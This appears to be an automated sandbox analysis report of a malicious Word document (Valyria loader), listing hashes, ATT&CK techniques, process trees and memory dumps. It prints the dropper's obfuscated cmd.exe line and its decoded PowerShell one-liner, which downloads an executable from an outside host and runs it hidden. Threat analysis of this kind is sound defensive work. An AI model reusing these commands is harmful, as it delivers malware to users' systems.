valyria | 85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2

General

Target

85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2.doc
Size

60KB
MD5

e6ad8f2aae70a48ac22722a9eec31626
SHA1

d348381ba3412722b16120ff091346b81575e4ba
SHA256

85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2
SHA512

8abe4cdde92020b735abf743cd19e3973a7df26b14e2540d106c1daa5f1cbb6934294cabe35f2caa922c4ea7c35c9670fe396d8b308c82642070f26513702488
SSDEEP

768:xqqqqm8jNkxD6LI7+qCGtyCwzktphJmNQxfqBlC2x:xqqqqm8jNyoI7+qCGgkgBlC

Score

10^/10

valyria discovery dropper execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.nnapoakea.top/read.php?f=0.dat

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1280	2052	cMd.eXe	29

Valyria
Malicious Word document which is a loader for other malware.
dropper valyria
Valyria family
valyria

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2308	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
1280	cMd.eXe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cMd.eXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2052	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2308	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2308	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2052	WINWORD.EXE
2052	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 1280	2052	WINWORD.EXE	30
PID 2052 wrote to memory of 1280	2052	WINWORD.EXE	30
PID 2052 wrote to memory of 1280	2052	WINWORD.EXE	30
PID 2052 wrote to memory of 1280	2052	WINWORD.EXE	30
PID 1280 wrote to memory of 2308	1280	cMd.eXe	33
PID 1280 wrote to memory of 2308	1280	cMd.eXe	33
PID 1280 wrote to memory of 2308	1280	cMd.eXe	33
PID 1280 wrote to memory of 2308	1280	cMd.eXe	33

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2.doc"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\SysWOW64\cMd.eXe
  cMd.eXe /c "powE^rsHeLl^.e^Xe -exe^cuTIO^nPO^LI^c^Y B^y^pass^ -^NOpr^of^Ile -WI^ndOW^ST^y^l^E HIDd^en^ (New^-o^BJE^c^t^ sySt^e^M.^NET^.^WeB^CLIENt)^.^DOWN^l^oa^d^fiLE(^'http://www.nnapoakea.top/read.php?f=0.dat','%ApPData%.ExE')^;^s^T^a^RT-Pr^oc^eSs '%ApPDaTA%.Exe'"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powErsHeLl.eXe -execuTIOnPOLIcY Bypass -NOprofIle -WIndOWSTylE HIDden (New-oBJEct sySteM.NET.WeBCLIENt).DOWNloadfiLE('http://www.nnapoakea.top/read.php?f=0.dat','C:\Users\Admin\AppData\Roaming.ExE');sTaRT-ProceSs 'C:\Users\Admin\AppData\Roaming.Exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2052-0-0x000000002FAC1000-0x000000002FAC2000-memory.dmp

Filesize
4KB

Download
memory/2052-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2052-2-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download
memory/2052-10-0x0000000005D70000-0x0000000005E70000-memory.dmp

Filesize
1024KB

Download
memory/2052-11-0x0000000005D70000-0x0000000005E70000-memory.dmp

Filesize
1024KB

Download
memory/2052-20-0x0000000005D70000-0x0000000005E70000-memory.dmp

Filesize
1024KB

Download
memory/2052-19-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download

Analysis

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